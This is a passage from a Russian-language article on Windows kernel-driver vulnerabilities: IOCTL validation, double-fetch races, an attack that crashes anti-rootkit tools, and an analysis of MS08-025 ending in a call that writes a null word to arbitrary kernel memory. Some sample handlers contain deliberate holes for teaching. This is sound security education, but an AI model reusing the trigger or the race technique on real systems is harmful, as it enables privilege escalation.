В этой статье я максимально широко рассмотрю тему уязвимостей в драйверах режима ядра, их эксплуатации и поиска. Вопросы написания качественного и надежного кода также не останутся без внимания.
Диспетчер ввода-вывода
Существует достаточно много как документированных, так и не очень, системных механизмов, которые могут быть использованы для организации взаимодействия кода пользовательского режима с драйверами режима ядра. Самыми функциональными и наиболее часто используемыми являются те механизмы, которые представляются диспетчером ввода-вывода. В конце концов, именно они и создавались разработчиками операционной системы для подобных задач. Давайте рассмотрим, как обычно организуется работа с диспетчером ввода-вывода со стороны драйвера и приложения. После загрузки драйвер создаёт именованный объект ядра «устройство», используя функцию IoCreateDevice. Для обработки обращений к созданным устройствам драйвер ассоциирует со своим объектом набор функций-обработчиков. Эти функции вызываются диспетчером ввода-вывода при выполнении определённых операций с устройством (открытие, закрытие, чтение, запись и т.д.), а также в случае некоторых системных событий (например, завершения работы системы или монтирования раздела жесткого диска). Структура, описывающая объект «драйвер», называется DRIVER_OBJECT, а эти функции – IRP (I/O Request Packet) обработчиками. Их адреса драйвер помещает в поле DRIVER_OBJECT::MajorFunction, которое, по своей сути, является массивом указателей, имеющим фиксированный размер IRP_MJ_MAXIMUM_FUNCTION + 1.
Константа IRP_MJ_MAXIMUM_FUNCTION определена в заголовочных файлах Driver Development Kit (DDK) как 27. Как видите, типов событий, связанных с устройством, довольно много. IRP-обработчики имеют следующий тип:
Код:
typedef
NTSTATUS
(*PDRIVER_DISPATCH) (
IN struct _DEVICE_OBJECT *DeviceObject,
IN struct _IRP *Irp
);
Параметр DeviceObject указывает на конкретное устройство (у одного драйвера их может быть много), а Irp – на структуру, содержащую различную информацию о запросе к устройству: контрольный код, буферы для входящих и исходящих данных, статус завершения обработки запроса и многое другое.
Так как устройство, создаваемое драйвером, является именованным объектом, оно видно в пространстве имён диспетчера объектов. Это позволяет открывать его по имени, используя функцию CreateFile/OpenFile (или её native-аналог – NtCreateFile/NtOpenFile). Именно это, как правило, в первую очередь и делает код пользовательского режима, которому необходимо передать драйверу, владеющему устройством, какой-либо запрос. Во время открытия устройства, в контексте процесса, осуществляющего эту операцию, вызывается обработчик драйвера IRP_MJ_CREATE. Подобные уведомления позволяют драйверу управлять открытием своих устройств – он может запретить или разрешить это по своему усмотрению. Если открытие устройства со стороны драйвера было разрешено, система создаёт ассоциированный с устройством объект ядра типа «файл», дескриптор которого возвращается функцией CreateFile. Когда устройство открыто, приложение может вызывать функции ReadFile, WriteFile и DeviceIoControlFile для взаимодействия с драйвером. Наибольший интерес для нас представляет последняя функция.
Код:
BOOL
WINAPI
DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
Ниже представлена схема поясняющая способ обработки запроса после вызова данной функции:
Рисунок 1. Путь прохождения IRP запроса.
В качестве параметра hDevice она получает дескриптор устройства, в lpInBuffer и nInBufferSize передается указатель на буфер с входящими данными и его размер, а в lpOutBuffer и nOutBufferSize – указатель и размер буфера для данных, которые будут возвращены драйвером. Отдельно стоит рассказать о параметре dwIoControlCode. Он представляет собой двойное слово и служит для указания драйверу кода операции, которую мы хотим осуществить. Поддерживаемые драйвером значения кода запроса ввода-вывода определяются на этапе написания конкретного драйвера (т.е., жестко «зашиты» в его код) и выбираются разработчиком не по произвольному принципу. Вот какую информацию извлекает диспетчер ввода-вывода из этого двойного слова:
Рисунок 2. I/O Control Code.
Device Type – идентификатор устройства (биты 16-31); диапазон 0-7FFFh зарезервирован Microsoft, а значение из диапазона 8000h-0FFFFh может быть любым, по усмотрению разработчика драйвера. Это значение также передаётся функции IoCreateDevice в качестве параметра DeviceType при создании устройства.
Access – набор флагов, определяющих права доступа к устройству.
- FILE_ANY_ACCESS – максимальные права доступа.
- FILE_READ_ACCESS – права на чтение данных из устройства.
- FILE_WRITE_ACCESS – права на передачу данных к устройству.
Method – определяет метод ввода-вывода.
- METHOD_BUFFERED – буферизированный ввод-вывод. Диспетчер выделяет в не подкачиваемом пуле буфер, размер которого равен наибольшему размеру, указанному в параметрах nInBufferSize и nOutBufferSize функции DeviceIoControl. В этот буфер копируются данные из пользовательского входного буфера (параметр lpInBuffer). Адрес этого буфера передается обработчику IRP_MJ_DEVICE_CONTROL в поле AssociatedIrp.SystemBuffer структуры IRP, а его размер – в поле Parameters.DeviceIoControl.InputBufferLength структуры IO_STACK_LOCATION. После того как обработчик драйвера был вызван, диспетчер ввода-вывода копирует возвращаемые драйвером в этом же системном буфере данные в пользовательский буфер. Размер копируемых данных IRP-обработчик должен указать сам, в параметре IoStatus.Information структуры IRP.
- METHOD_IN_DIRECT и METHOD_OUT_DIRECT – ситуация с входным буфером аналогична буферизированному вводу-выводу. Выходной пользовательский буфер обрабатывается несколько иначе: описывающий его MDL помещается в поле MdlAddress структуры IRP. Входной буфер, несмотря на своё название, может служить как источником, так и приемником данных.
- METHOD_NEITHER – операции по обработке как входных, так и выходных буферов целиком и полностью ложатся на плечи драйвера. В поле DeviceIoControl.Type3InputBuffer структуры IO_STACK_LOCATION содержится указатель на пользовательский входной буфер, а в поле UserBuffer структуры IRP – указатель на пользовательский выходной буфер.
Теперь, когда вы уже знакомы с общими принципами работы диспетчера ввода-вывода, мы можем рассмотреть пример исходного кода обработчика IRP_MJ_DEVICE_CONTROL, который осуществляет копирование данных из памяти пользовательского режима, указатель на которую передаётся драйверу в IRP-запросе. Пример подобного кода можно найти в очень многих реальных программах и, как правило, не все из них корректно справляются с валидацией входных данных.
Код:
typedef
struct _REQUEST_BUFFER
{
PUCHAR Data;
ULONG Size;
} REQUEST_BUFFER,
*PREQUEST_BUFFER;
#define BUFFER_SIZE 0x100
#define IOCTL_PROCESS_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 1, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
// получаем указатель на IO_STACK_LOCATION
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
// проверка типа IRP-запросаif (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
// получаем код операции, размер данных и указатель на них
ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
PREQUEST_BUFFER Buff =
(PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
switch (Code)
{
case IOCTL_PROCESS_DATA:
{
UCHAR Data[BUFFER_SIZE];
// выполняем копирование данных в локальный буфер
RtlCopyMemory(Data, Buff->Data, Buff->Size);
// обработка полученных данных// ...break;
}
default:
{
// неверный код операции
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
}
// сообщаем диспетчеру ввода-вывода о том,
// что мы закончили обрабатывать этот IRP
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
В данном случае использование METHOD_BUFFERED освобождает разработчиков от необходимости валидации полученного указателя на REQUEST_BUFFER (система делает это сама при копировании данных в не подкачиваемый пул), однако, проанализировав код более детально, можно сделать выводы о наличии нескольких очень грубых ошибок:
- Не проверяется размер полученных в IRP-запросе данных, в результате чего можно получить access violation или неверные значения при доступе к полям структуры REQUEST_BUFFER.
- Код не выполняет валидацию переданного в структуре REQUEST_BUFFER указателя, что также чревато синим экраном смерти.
- И, наконец, в коде не предусмотрена проверка копируемых через RtlCopyMemory данных, и если первые две ошибки можно не рассматривать как критичные, то эта запросто может привести к выполнению произвольного кода.
Код:
case IOCTL_PROCESS_DATA:
{
if (Size == sizeof(REQUEST_BUFFER))
{
UCHAR Data[BUFFER_SIZE];
// проверяем размер и принадлежность указателя
// к диапазону адресов режима пользователяif (Buff->Size <= sizeof(Data) &&
Buff->Data < MM_HIGEST_USER_ADDRESS)
{
BOOLEAN bOk = FALSE;
__try
{
ProbeForRead(Buff->Data, Buff->Size, 1);
bOk = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
}
if (bOk)
{
// выполняем копирование данных в локальный буфер
RtlCopyMemory(Data, Buff->Data, Buff->Size);
// обработка полученных данных// ...
}
}
}
break;
}
Как видите, в этом варианте присутствуют все необходимые проверки. Для валидации user mode-указателя используется документированная в DDK функция ProbeForRead. Если вы используете метод ввода-вывода METHOD_NEITHER, то вам в качестве дополнительной меры обязательно нужно подвергать аналогичной проверке указатель на входные и выходные пользовательские данные IRP-запроса (поля DeviceIoControl.Type3InputBuffer и UserBuffer). Причем для выходного буфера следует использовать функцию ProbeForWrite, так как он может находиться на странице памяти пользовательского режима, не имеющей разрешение на запись, что в свою очередь вызовет BSоD при попытке записать туда что-либо из драйвера.
Ситуация, когда в драйвер передаётся указатель на память, лежащую в диапазоне адресов режима ядра, встречается менее часто. Для валидации подобного указателя нельзя использовать функции ProbeForRead/ProbeForWrite, ошибки доступа к памяти режима ядра не отлавливаются также и структурными обработчиками исключений, поэтому придется использовать другую функцию, MmIsAddressValid. Для удобства можно написать свою обёртку над ProbeForRead и MmIsAddressValid, пригодную для проверки как kernel mode, так и user mode-указателей.
Код:
BOOLEAN ValidateData(PVOID Address, ULONG Size)
{
BOOLEAN bRet = TRUE;
if (Size <= 0)
{
return FALSE;
}
if (Address > MM_HIGHEST_USER_ADDRESS)
{
// мы имеем дело с kernel mode-адресомfor (ULONG i = 0; i < Size; i++)
{
if (!MmIsAddressValid((PUCHAR)Address + i))
{
bRet = FALSE;
break;
}
}
}
else
{
// это user mode-адрес__try
{
ProbeForRead(Address, Size, 1);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
bRet = FALSE;
}
}
return bRet;
}
Весьма часто перед разработчиком драйверов режима ядра встает необходимость перехвата различных системных сервисов. Разумеется, в этом случае также нужно предпринимать все необходимые меры для проверки получаемых параметров. Однако особенность именно системных сервисов заключается в том, что они могут быть вызваны как из пользовательского режима (Zw* и Nt* функции ntdll.dll), так и из режима ядра (Zw* функции ntoskrnl.exe). В последнем случае параметры сервиса могут содержать указатели на память режима ядра, и это нужно как-то учитывать во время их валидации. К счастью, для определения того, из какого режима был осуществлён вызов системного сервиса, разработчики ядра предоставили в наше полное распоряжение функцию GetPreviousMode. Она возвращает значение поля PreviousMode структуры KTHREAD, описывающей текущий поток, а само значение устанавливается диспетчером системных вызовов. Ниже приведён пример проверки входных параметров обработчика перехвата системного сервиса NtOpenProcess:
Код:
NTSTATUS __stdcall hooked_NtOpenProcess(
PHANDLE ProcessHandle,
ACCESS_MAS K DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientId)
{
ULONG ProcessId = 0;
if (GetPeviousMode() == UserMode &&
ClientId < MM_HIGHEST_USER_ADDRESS)
{
// системный сервис был вызван из пользовательского режима__try
{
// безопасным образом извлекаем идентификатор процесса
ProcessId = ClientId->UniqueProcess;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
return STATUS_INVALID_PARAMETER;
}
}
else
{
// системный сервис был вызван из режима ядра
ProcessId = ClientId->UniqueProcess;
}
// дальнейшая обработка параметров вызова// ...
}
Возможно, вас несколько удивит отсутствие какой-либо проверки на случай, если GetPreviousMode вёрнет KernelMode, однако это весьма распространенная практика, и проверка параметров системных вызовов в самом ядре осуществляется аналогичным образом. Зачем лишний раз занимать процессор ресурсоёмкими операциями, если драйвер режима ядра и без того имеет огромную кучу возможностей уронить систему? Совершенно незачем.
Несмотря на то, что подавляющее большинство ошибок реализации в драйверах реальных программ обусловлено именно неправильной валидацией указателей и некорректной проверкой формата/размера входных данных, разработчику стоит обращать внимание не только на это. Вот ещё некоторые нюансы, которые необходимо соблюдать при написании качественного кода:
- Если вы работаете с памятью, указатель на которую был получен извне, как с ASCII- или Unicode-строкой, нужно обязательно проверять наличие нулевого байта в её конце, так как при отсутствии такового функции strlen/wcslen и подобные вызовут access violation при выходе за границы валидной страницы памяти.
- Никогда не выполняйте запись по kernel mode-адресам, которые были получены из пользовательского режима. Просто запомните это как аксиому. Наличие подобных манипуляций, независимо от их характера, уже является серьёзной уязвимостью, которая была допущена ещё на стадии проектирования.
- Не забывайте о дескрипторах, так как задачи, для решения которых драйверу необходимо получить дескриптор какого-либо объекта ядра, встречаются весьма часто. В этом случае корректность полученного дескриптора в драйвере поможет обеспечить выполнение его копирования с помощью функции ZwDuplicateHandle, однако более предпочтительным всё же будет вариант с передачей драйверу из приложения не дескриптора объекта, а его имени, с последующим открытием данного объекта уже на стороне драйвера.
Взгляните на следующий пример кода:
Код:
#define IOCTL_PROCESS_DATA CTL_CODE(
FILE_DEVICE_UNKNOWN, 1, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA)
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
// получаем указатель на IO_STACK_LOCATION
PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
// проверка типа IRP-запросаif (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
{
// получаем код операции, размер данных и указатель на них
ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
// в этом примере используется METHOD_NEITHER
PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)stack->Parameters.DeviceIoControl.Type3InputBuffer;
switch (Code)
{
case IOCTL_PROCESS_DATA:
{
// проверяем указатель на данные IRP-запросаif (Buff < MM_HIGHEST_USER_ADDRESS)
{
UCHAR Data[BUFFER_SIZE];
BOOLEAN bOk = FALSE;
__try
{
ProbeForRead(Buff, sizeof(REQUEST_BUFFER), 1);
bOk = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
}
// ок, теперь выполняем валидацию указателя,
// находящегося в структуреif (bOk && Buff->Data < MM_HIGHEST_USER_ADDRESS)
{
bOk = FALSE;
// [фрагмент №1]---------------------------------__try
{
ProbeForRead(Buff->Data, Buff->Size, 1);
bOk = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
// ProbeForRead вызвала исключение
}
// ----------------------------------------------if (bOk)
{
// [фрагмент №2]------------------------------------// выполняем копирование данных в локальный буфер
RtlCopyMemory(Data, Buff->Data, Buff->Size);
// -------------------------------------------------// обработка полученных данных// ...
}
}
}
break;
}
default:
{
// неверный код операции
Irp->IoStatus.Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
}
// сообщаем диспетчеру ввода-вывода о том,
// что мы закончили обрабатывать этот IRP
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
От приведённого в прошлой главе примера он отличается разве что другим методом ввода-вывода – METHOD_NEITHRER, но все необходимые проверки присутствуют, и, на первый взгляд, придраться не к чему. Однако этот код содержит весьма серьёзную уязвимость, которая в определённых ситуациях может привести к переполнению стека. Дело в том, что IRP-обработчики выполняются на низком IRQL, а это значит, что поток во время исполнения кода IRP-обработчика, по исчерпанию кванта процессорного времени, может быть прерван другим потоком. А теперь давайте представим, что первый поток, исполняющий показанный выше код, был прерван после того, как он успел выполнить выделенный фрагмент №1 (валидация указателя), но до того, как начал исполняться фрагмент №2 (копирование данных). В это время второй поток, который вытеснил первый, подменяет значение полей Buff->Data/Buff->Size (Buff указывает на память режима пользователя из-за METHOD_NEITHRER), ну а первый поток, после своего возобновления, имеет уже не те данные, с которыми он работал на момент проверки. Это и даёт возможность атакующему добиться переполнения локального буфера Data[].
Такой тип уязвимостей называется double fetch, и пример показанный мной возник не на пустом месте. Такие уязвимости тяжело выявлять и ещё сложнее эксплуатировать, однако в реальных программах они встречаются. Примером этого может служить уязвимость MS08-061, которая была найдена осенью 2008 года в драйвере графической подсистемы Windows (win32k.sys). Для предотвращения подобных ситуаций разработчику достаточно всего-навсего обращаться к полям структуры всего один раз, сохраняя их значения в локальных переменных.
Техника эксплуатации double fetch-уязвимостей заключается в создании двух потоков, первый из которых будет в цикле отправлять IRP-запрос драйверу, а второй, с более высоким приоритетом, вызывать функцию Sleep, подбирая интервал задержки таким образом, чтобы исполнение первого потока прервалось в нужном месте. В процессе этих манипуляций другие потоки системы должны быть приостановлены, если такая возможность присутствует. Разумеется, никаких гарантий успешной эксплуатации нет даже близко, и в условиях, отличных от лабораторных, её вероятность будет определяться исключительно волей случая.
Несколько слов о защитном ПО
Раскрытые выше вопросы написания кода в полной мере характерны для любых драйверов режима ядра. Но так как эксплуатация уязвимостей драйверов в большей степени является проблемой для защитных программ, я считаю необходимым также затронуть и те вопросы их проектирования, которые напрямую связаны с нашей темой.
Одним из немногих необходимых условий успешной эксплуатации уязвимости в драйвере, который использует возможности диспетчера ввода-вывода для взаимодействия с приложением, является возможность беспрепятственного получения дескриптора его устройства. Очевидно, что, не имея дескриптора, мы не сможем осуществить атаку, передав драйверу нужные нам данные с помощью функции DeviceIoControl. Можно придумать не так много способов получения дескрипторов устройства:
- Вызов CreateFile/OpenFile.
- Копирование дескриптора устройства из уже работающего легитимного процесса, который взаимодействует с драйвером.
Однако я слишком углубился в теоретические изыскания. А как же действительно обстоят дела в защитных программах? К сожалению, несмотря на простоту и очевидность описанных в этой главе мер, в настоящее время ни один продукт (будь то антивирус, или файрвол, или пакет класса internet security) должным образом не препятствует открытию дескрипторов своих устройств сторонними процессами. Это демонстрирует крайнюю степень недальновидности и бессистемного подхода разработчиков данного ПО: ведь даже при отсутствии уязвимости злонамеренный процесс будет иметь возможность банально послать драйверу системы защиты «магический» запрос, который используется легитимным приложением-сервисом для её отключения при нажатии пользователем на соответствующую кнопку. Нередки и такие ситуации, когда вспомогательная DLL-библиотека, внедряемая HIPS-ом в контролируемый процесс, напрямую общается с устройством драйвера защиты. В этом случае для эксплуатации уязвимости или отправки того самого «магического» запроса открытие устройства вообще не требуется: достаточно только перечислить свои дескрипторы, с целью найти среди них нужный.
Уязвимости в антируткитах
Разработчикам также важно уделять особое внимание написанию кода, который осуществляет парсинг файлов какого-либо формата. Это могут быть как текстовые форматы вроде XML или INI, так и бинарные, вроде Portable Executable. Примером в случае с PE-файлами могут служить современные антируткит-утилиты, которые, как известно, помимо скрытых объектов (файлы, ключи системного реестра, процессы) могут также обнаруживать перехваты функций, установленные путём патчинга их кода (такая техника перехвата называется сплайсинг). Очевидно, что для детектирования сплайсинга достаточно прочитать код, который содержится в исполняемом файле на диске и сравнить его с тем, который загружен в память. Вот здесь и начинается самое интересное. Дело в том, что в зависимости от аппаратной конфигурации путь к исполняемому файлу ядра может отличаться на разных системах, поэтому большинство антируткитов получают данный путь либо из информации о загруженных модулях, возвращённой функцией NtQuerySystemInformation, либо самостоятельным анализом списка загруженных модулей ядра. Список загруженных модулей является двусвязным, его заголовок находится в глобальной переменной ядра, которая называется PsLoadedModuleList, а каждый элемент списка описывается структурой LDR_DATA_TABLE_ENTRY. Именно на этой особенности работы антируткитов основывается атака, состоящая из следующих шагов:
- Атакующий находит в списке загруженных модулей запись, которая содержит информацию о ядре.
- Файл ядра копируется в произвольное место с произвольным именем.
- В копию файла ядра вносятся изменения, делающие невозможным его корректную обработку (например, изменяются указатели на данные секции таким образом, чтобы указатель ссылался на невалидную страницу памяти).
- В найденной в п.1 записи списка загруженных модулей путь к файлу ядра заменяется путём к модифицированной копии.
| Название утилиты | Версия | Результат атаки |
|---|---|---|
| Rootkit Unhooker | 4.6.520.1010 | При запуске утилита сообщает о том, что путь к исполняемому файлу ядра, вероятно, неверный. Путь к оригинальному файлу находится путем анализа конфигурации операционной системы. После инициализации все функции работают корректно. |
| Safe’n’Sec Rootkit Detector | 1.0.0.1 | BSoD в драйвере GvzLcez.sys из-за обращения к невалидному адресу памяти во время парсинга подмененного исполняемого файла. |
| GMER | 1.0.14.14116 | Падение процесса gmer.exe на этапе инициализации из-за обращения к невалидному адресу памяти во время парсинга подмененного исполняемого файла. |
| IceSword | 1.2.2.0 | При запуске показывает сообщение, содержащее текст “Initialize failed, error code: 1”, после чего процесс завершается. |
Как вы можете видеть по результатам тестирования самых популярных антируткитов, корректно отработал в данной ситуации только Rootkit Unhooker, который, к слову, вполне заслуженно имеет славу одной из самых стабильных и функциональных утилит подобного рода.
Рисунок 3. Rootkit Unhooker, успешно отразивший атаку.
От защитного ПО к ядру операционной системы
В апреле 2008 года в публичных источниках впервые появилась информация об уязвимости MS08-025, эксплуатация которой позволяла выполнить произвольный код в режиме ядра и достичь благодаря этому локального повышения привилегий на операционных системах Windows XP и Windows Server 2003. Стоит сказать, что это уже далеко не первая уязвимость, которая была обнаружена в win32k.sys, и я более чем уверен, что и не последняя. Такая ситуация сложилась в первую очередь из-за того, что изначально графическая подсистема работала в режиме пользователя (по Windows NT 4.0 включительно), но позже, чтобы сократить количество ресурсоёмких операций по переключению потока в режим ядра, разработчиками Windows было решено перенести графическую подсистему в Ring 0. Однако, в силу достаточно большого объёма кода и архитектурных особенностей, во время этого переноса не было уделено достаточно внимания вопросам безопасности, что в свою очередь и способствовало появлению в win32k.sys большого количества уязвимостей разной степени опасности.
Причиной уязвимости MS08-025 стала неправильная валидация входных параметров в системном вызове графической подсистемы NtUserMessageCall. Прототип этой недокументированной функции выглядит так:
Код:
LRESULT __stdcall NtUserMessageCall(
HWND hwnd,
UINT msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR xParam,
DWORD xpfnProc,
BOOL bAnsi
);
Взгляните на следующий фрагмент дизассемблерного листинга данной функции:
Код:
win32k!NtUserMessageCall:
bf80f615 8bff mov edi,edi
bf80f617 55 push ebp
bf80f618 8bec mov ebp,esp
bf80f61a 83ec0c sub esp,0Ch
bf80f61d 56 push esi
bf80f61e 57 push edi
bf80f61f e81614ffff call win32k!EnterCrit (bf800a3a)
bf80f624 8b4d08 mov ecx,dwordptr [ebp+8]
; выполняем валидацию хендла окна, переданного в первом параметре
bf80f627 e8cd1effff call win32k!ValidateHwnd (bf8014f9)
bf80f62c 8b4d1c mov ecx,dwordptr [ebp+1Ch]
bf80f62f 8bf0 mov esi,eax
bf80f631 85f6 test esi,esi
bf80f633 74c5 je win32k!NtUserMessageCall+0x20 (bf80f5fa)
bf80f635 a118899abf mov eax,dwordptr [win32k!gptiCurrent (bf9a8918)]
bf80f63a 8b5028 mov edx,dwordptr [eax+28h]
bf80f63d 8955f4 mov dwordptr [ebp-0Ch],edx
bf80f640 8d55f4 lea edx,[ebp-0Ch]
bf80f643 895028 mov dwordptr [eax+28h],edx
bf80f646 8975f8 mov dwordptr [ebp-8],esi
bf80f649 ff4604 inc dwordptr [esi+4]
bf80f64c 8b450c mov eax,dwordptr [ebp+0Ch]
bf80f64f 25ffff0100 and eax,1FFFFh
bf80f654 3d00040000 cmp eax,400h
bf80f659 733b jae win32k!NtUserMessageCall+0x6e (bf80f696)
bf80f65b ff7520 push dwordptr [ebp+20h]
bf80f65e 0fb680e0e898bf movzx eax,byteptr win32k!MessageTable (bf98e8e0)[eax]
bf80f665 51 push ecx; со 2-го по 5-й передаются через стек вызываемой далее функции
bf80f666 ff7518 push dwordptr [ebp+18h]
bf80f669 83e03f and eax,3Fh
bf80f66c ff7514 push dwordptr [ebp+14h]
bf80f66f ff7510 push dwordptr [ebp+10h]
bf80f672 ff750c push dwordptr [ebp+0Ch]
bf80f675 56 push esi; C-оператор case: вызываемая функция определяется 6-м параметром
bf80f676 ff148500e898bf call dwordptr win32k!gapfnMessageCall (bf98e800)[eax*4]
bf80f67d 83feff cmp esi,0FFFFFFFFh
bf80f680 8bf8 mov edi,eax
bf80f682 7405 je win32k!NtUserMessageCall+0xba (bf80f689)
bf80f684 e80c1affff call win32k!ThreadUnlock1 (bf801095)
bf80f689 e8d813ffff call win32k!LeaveCrit (bf800a66)
bf80f68e 8bc7 mov eax,edi
bf80f690 5f pop edi
bf80f691 5e pop esi
bf80f692 c9 leave
bf80f693 c21c00 ret 1Ch
По адресу win32k!gapfnMessageCall, как несложно догадаться, находится таблица адресов переходов C-оператора case. В стеке вызываемой функции передаются c второго по пятый параметры (msg, wParam, lParam, xParam), что были переданы в NtUserMessageCall, а сама вызываемая функция определяется шестым параметром (xPfnProc). Если в качестве значения этого параметра передать ноль, будет осуществлён вызов следующей функции:
Код:
win32k!NtUserfnOUTSTRING:
bf8dc6b2 6a14 push 14h
bf8dc6b4 6850b698bf push offset win32k!`string'+0x8b0 (bf98b650)
bf8dc6b9 e82f44f2ff call win32k!_SEH_prolog (bf800aed)
bf8dc6be 33d2 xor edx,edx
bf8dc6c0 8955fc mov dwordptr [ebp-4],edx
bf8dc6c3 8b45e0 mov eax,dwordptr [ebp-20h]
bf8dc6c6 b9ffffff7f mov ecx,7FFFFFFFh
bf8dc6cb 23c1 and eax,ecx
bf8dc6cd 8b7520 mov esi,dwordptr [ebp+20h]
bf8dc6d0 c1e61f shl esi,1Fh
bf8dc6d3 0bc6 or eax,esi
bf8dc6d5 8945e0 mov dwordptr [ebp-20h],eax
bf8dc6d8 8bf0 mov esi,eax
bf8dc6da 337510 xor esi,dwordptr [ebp+10h]
bf8dc6dd 23f1 and esi,ecx
bf8dc6df 33c6 xor eax,esi
bf8dc6e1 8945e0 mov dwordptr [ebp-20h],eax
bf8dc6e4 395520 cmp dwordptr [ebp+20h],edx
bf8dc6e7 750c jne win32k!NtUserfnOUTSTRING+0x43 (bf8dc6f5)
bf8dc6e9 8d3400 lea esi,[eax+eax]
bf8dc6ec 33f0 xor esi,eax
bf8dc6ee 23f1 and esi,ecx
bf8dc6f0 33c6 xor eax,esi
bf8dc6f2 8945e0 mov dwordptr [ebp-20h],eax
bf8dc6f5 8955dc mov dwordptr [ebp-24h],edx
bf8dc6f8 8b7514 mov esi,dwordptr [ebp+14h]
bf8dc6fb 8975e4 mov dwordptr [ebp-1Ch],esi
bf8dc6fe 33db xor ebx,ebx
bf8dc700 43 inc ebx
bf8dc701 53 push ebx
bf8dc702 23c1 and eax,ecx
bf8dc704 50 push eax
bf8dc705 56 push esi; проверка доступности памяти на запись; адрес – 3-й параметр, размер - 4-й
bf8dc706 ff1550a698bf call dwordptr [win32k!_imp__ProbeForWrite (bf98a650)]
bf8dc70c 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
bf8dc710 8b451c mov eax,dwordptr [ebp+1Ch]
bf8dc713 83c006 add eax,6
bf8dc716 83e01f and eax,1Fh
bf8dc719 ff7518 push dwordptr [ebp+18h]
bf8dc719 ff7518 push dwordptr [ebp+18h]
bf8dc71c 8d4ddc lea ecx,[ebp-24h]
bf8dc71f 51 push ecx
bf8dc720 ff7510 push dwordptr [ebp+10h]
bf8dc723 ff750c push dwordptr [ebp+0Ch]
bf8dc726 ff7508 push dwordptr [ebp+8]
bf8dc729 8b0d58859abf mov ecx,dwordptr [win32k!gpsi (bf9a8558)]
bf8dc72f ff54810c call dwordptr [ecx+eax*4+0Ch]
bf8dc733 8bf8 mov edi,eax
bf8dc735 85ff test edi,edi
bf8dc737 0f8452ffffff je win32k!NtUserfnOUTSTRING+0x87 (bf8dc68f)
...
bf8dc68f 394510 cmp dwordptr [ebp+10h],eax
bf8dc692 0f84a5000000 je win32k!NtUserfnOUTSTRING+0xad (bf8dc73d)
bf8dc698 895dfc mov dwordptr [ebp-4],ebx
bf8dc69b ff7520 push dwordptr [ebp+20h]
bf8dc69e 56 push esi; запись терминирующего нулевого байта
; (или слова, если третий параметр указывает на Unicode-строку)
bf8dc69f e8ec77ffff call win32k!NullTerminateString (bf8d3e90)
bf8dc6a4 834dfcff or dwordptr [ebp-4],0FFFFFFFFh
bf8dc6a8 e990000000 jmp win32k!NtUserfnOUTSTRING+0xad (bf8dc73d)
Этот код с помощью уже известной нам функции ProbeForWrite проверяет доступность для записи буфера со строкой, адрес и длина которой определяется четвертым и пятым параметрами (lParam и xParam) функции NtUserMessageCall. Если указатель корректен, в конец строки записывается нулевой байт (слово), чтобы эту строку корректно обработала функция RtlMultiByteToUnicodeN (в листинге её вызов пропущен). На первый взгляд здесь всё совершенно корректно, однако разработчики забыли учесть тот факт, что ProbeForWrite всегда возвращает TRUE, если в качестве длины был передан ноль. Этот факт, в свою очередь, вместе с отсутствием проверки принадлежности указателя к диапазону памяти пользовательского режима, позволяет записать нулевое слово по произвольному адресу памяти ядра. Для этого нужно вызвать NtUserMessageCall следующим образом:
Код:
__declspec(naked) LRESULT __stdcall NtUserMessageCall(
HWND hwnd,
UINT msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR xParam,
DWORD xpfnProc,
BOOL bAnsi)
{
__asm
{
// в eax - номер системного вызова
mov eax,SDT_INDEX_OF_NtUserMessageCall
// в edx - указатель на лежащие в стеке параметры функции
lea edx,[esp+4]
int 0x2E
retn 0x1C
}
}
...
NtUserMessageCall(hWnd, 0x0d, 0x80000000, Address, 0, 0, 0);
В качестве первого параметра (hWnd) нужно передавать валидный дескриптор любого окна. Об эксплуатации этой и подобных уязвимостей читайте далее.
В системных компонентах функция ProbeForWrite используется очень часто, и существует ещё целый ряд уязвимостей, связанных с её неверным использованием (например, MS08-066). Тот факт, что подобные огрехи весьма часто встречаются даже в таких, казалось бы, важных узлах ОС, как графическая подсистема, лишний раз демонстрирует необходимость внимательного и тщательного подхода к безопасности при написании абсолютно любого Ring 0 кода.
Эксплуатация локальных уязвимостей в драйверах режима ядра
Предположим, уязвимость вами уже найдена, теперь было бы хорошо попробовать её поэксплуатировать. Способы эксплуатации уязвимостей в драйверах бывают весьма разные, и зависят, в первую очередь, от типа уязвимостей, которые бывают условно следующими:
- Атакующий может перезаписать произвольный байт памяти ядра.
- Атакующий может обнулить произвольный байт памяти ядра.
